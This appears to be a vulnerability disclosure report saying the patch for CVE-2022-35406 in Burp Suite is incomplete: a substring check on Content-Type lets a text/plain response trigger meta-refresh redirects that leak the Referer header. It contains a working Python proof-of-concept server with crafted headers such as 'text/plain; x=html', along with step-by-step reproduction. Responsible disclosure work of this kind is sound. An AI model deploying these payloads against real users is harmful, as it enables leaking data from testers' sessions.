PortSwigger Web Security · Report #3775183
Incomplete fix for CVE-2022-35406: meta-redirect content-type check bypassable via parameter injection
How it was found
The fix for CVE-2022-35406 (#1541301) stops Burp from following a <meta http-equiv="refresh"> redirect when the response Content-Type/Content-Disposition would prevent HTML rendering. The check substring-matches html in the raw Content-Type instead of parsing the media type. A text/plain response can smuggle the token via a parameter (e.g. Content-Type: text/plain; x=html), and Burp again offers and follows the meta redirect reintroducing the patched behaviour.
Root cause
The content-type guard searches for the substring html in the raw header value rather than parsing the media type and discarding parameters. Any html token in a parameter name, value, quoted or not satisfies the check while the real MIME type stays text/plain.
Steps to reproduce
- server.py
#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
META = ('<html><head><meta http-equiv="refresh" '
'content="0;url=http://127.0.0.1:9000/stolen"></head><body>x</body></html>')
CASES = {
"/ct_plain": "text/plain", # control: blocked
"/ct_param_plain": "text/plain; x=hello", # control: blocked (no 'html')
"/ct_param_html": "text/plain; x=html", # BYPASS: followed
"/ct_texthtml": "text/plain; x=text/html", # BYPASS: followed
"/ct_quoted": 'text/plain; x="text/html"', # BYPASS: followed
}
class H(BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def log_message(self, *a): pass
def do_GET(self):
ct = CASES.get(self.path)
if ct is None:
self.send_response(404); self.send_header("Content-Length","0")
self.send_header("Connection","close"); self.end_headers(); return
b = META.encode()
self.send_response(200)
self.send_header("Content-Type", ct)
self.send_header("Content-Length", str(len(b)))
self.send_header("Connection", "close")
self.end_headers()
try: self.wfile.write(b)
except BrokenPipeError: pass
self.close_connection = True
if __name__ == "__main__":
print("PoC server on http://127.0.0.1:8000")
HTTPServer(("127.0.0.1", 8000), H).serve_forever()
- Run
python3 server.py
- In Repeater (HTTP/1), send this request:
GET /ct_param_html HTTP/1.1
Host: 127.0.0.1:8000
Referer: http://127.0.0.1:8000/secret-page
Connection: close
- The response is Content-Type: text/plain (with a bogus ; x=html parameter) containing a <meta http-equiv="refresh"> redirect. Despite the non-renderable text/plain type, the Follow redirection button appears.
- Click Follow redirection → Burp follows the meta redirect and issues the request to the redirect target, sending the Referer header.
- (Control) Repeat with GET /ct_param_plain (text/plain; x=hello, no html token) → no Follow redirection button, not followed. This confirms the html substring is what triggers the bypass.
Click Follow redirection:
POC {F6021058}
It discloses the referer header
Impact
A text/plain response that should be treated as non-renderable is again interpreted as a redirect in Repeater/Intruder, re-enabling the meta-redirect follow that CVE-2022-35406 patched.